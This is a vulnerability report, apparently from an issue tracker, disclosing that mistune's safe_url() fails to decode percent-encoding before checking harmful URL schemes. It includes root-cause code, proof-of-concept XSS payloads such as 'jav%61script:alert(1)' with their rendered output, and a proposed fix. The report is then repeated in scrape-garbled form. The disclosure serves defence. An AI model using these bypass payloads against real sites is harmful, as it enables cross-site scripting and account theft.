Summary:
The safe_url() function fails to decode percent-encoded characters before
checking for harmful URL protocols (javascript:, vbscript:, data:, file:).
An attacker can encode one or more characters in the scheme name (e.g.
jav%61script:) to bypass the blocklist entirely. Any application that
renders untrusted Markdown with mistune is vulnerable to stored or reflected
XSS — no authentication required.
Details:
Root cause is in two files:
src/mistune/util.py — % is kept as a safe char, so percent-encoding
is never decoded:
def escape_url(link: str) -> str:
safe = ":/?#@!$&()*+,;=%" # % preserved intentionally
return quote(unescape(link), safe=safe)
# unescape() only handles HTML entities like & &#xNN;
# It does NOT touch percent-encoding like %61
src/mistune/renderers/html.py — protocol check runs on the raw,
un-decoded URL:
def safe_url(self, url: str) -> str:
_url = url.lower() # %61 stays as %61, not decoded to 'a'
if _url.startswith(self.HARMFUL_PROTOCOLS):
return "#harmful-link"
return escape_text(url) # bypassed → XSS payload reaches browser
So "jav%61script:alert(1)".lower() does not start with "javascript:",
the check passes, the raw href reaches the HTML output, and the browser
decodes %61 → a and executes the script.
This is separate from Issue #87 (HTML entity bypass javascript:).
That was HTML entity encoding — this is URL percent-encoding, a different
code path that was never addressed.
### POC:
Tested on mistune 3.1.3 and 3.2.1 (pip install mistune==3.2.1):
import mistune
md = mistune.create_markdown()
# Test 1 — encoded lowercase 'a'
print(md("[click](jav%61script:alert(1))"))
# Got: <p><a href="jav%61script:alert(1)">click</a></p> ← BYPASSED
# Expected: <p><a href="#harmful-link">click</a></p>
# Test 2 — mixed case + encoded 'S'
print(md("[click](JAVA%53CRIPT:alert(1))"))
# Got: <p><a href="JAVA%53CRIPT:alert(1)">click</a></p> ← BYPASSED
# Test 3 — vbscript bypass
print(md("[click](vbscri%70t:msgbox(1))"))
# Got: <p><a href="vbscri%70t:msgbox(1)">click</a></p> ← BYPASSED
# Test 4 — data: bypass via image
print(md("</script>)"))
# Got: <p><img src="dat%61:text/html,..." /> ← BYPASSED
# Confirmed: plain javascript: is still correctly blocked
print(md("[click](javascript:alert(1))"))
# Got: <p><a href="#harmful-link">click</a></p> ← BLOCKED ✓
### Impact
Any application that passes untrusted user input through mistune's Markdown
renderer is vulnerable to Cross-Site Scripting (XSS).
Attack scenario:
- Comment systems, wikis, chat apps, documentation platforms that render
user-supplied Markdown with mistune are all affected.
- An unauthenticated attacker submits a Markdown link with a percent-encoded
scheme: click me
- A victim clicks the rendered link → JavaScript executes in the victim's
browser → session hijacking, credential theft, or account takeover.
Recommended fix — decode percent-encoding before the protocol check:
from urllib.parse import unquote
def safe_url(self, url: str) -> str:
_url = unquote(url).lower() # decode %XX first, THEN check
if _url.startswith(self.HARMFUL_PROTOCOLS) and \
not _url.startswith(self.GOOD_DATA_PROTOCOLS):
return "#harmful-link"
return escape_url(url)
Verified: this patch blocks all encoded variants while leaving legitimate
https:// and http:// URLs completely unaffected.
Summary:
The
safe_url()function fails to decode percent-encoded characters beforechecking for harmful URL protocols (javascript:, vbscript:, data:, file:).
An attacker can encode one or more characters in the scheme name (e.g.
jav%61script:) to bypass the blocklist entirely. Any application thatrenders untrusted Markdown with mistune is vulnerable to stored or reflected
XSS — no authentication required.
Details:
Root cause is in two files:
src/mistune/util.py—%is kept as a safe char, so percent-encodingis never decoded:
src/mistune/renderers/html.py— protocol check runs on the raw,un-decoded URL:
So
"jav%61script:alert(1)".lower()does not start with"javascript:",the check passes, the raw href reaches the HTML output, and the browser
decodes
%61→aand executes the script.This is separate from Issue #87 (HTML entity bypass
javascript:).That was HTML entity encoding — this is URL percent-encoding, a different
code path that was never addressed.
### POC:
Tested on mistune 3.1.3 and 3.2.1 (pip install mistune==3.2.1):
### Impact
Any application that passes untrusted user input through mistune's Markdown
renderer is vulnerable to Cross-Site Scripting (XSS).
Attack scenario:
user-supplied Markdown with mistune are all affected.
scheme: click me
browser → session hijacking, credential theft, or account takeover.
Recommended fix — decode percent-encoding before the protocol check:
Verified: this patch blocks all encoded variants while leaving legitimate
https:// and http:// URLs completely unaffected.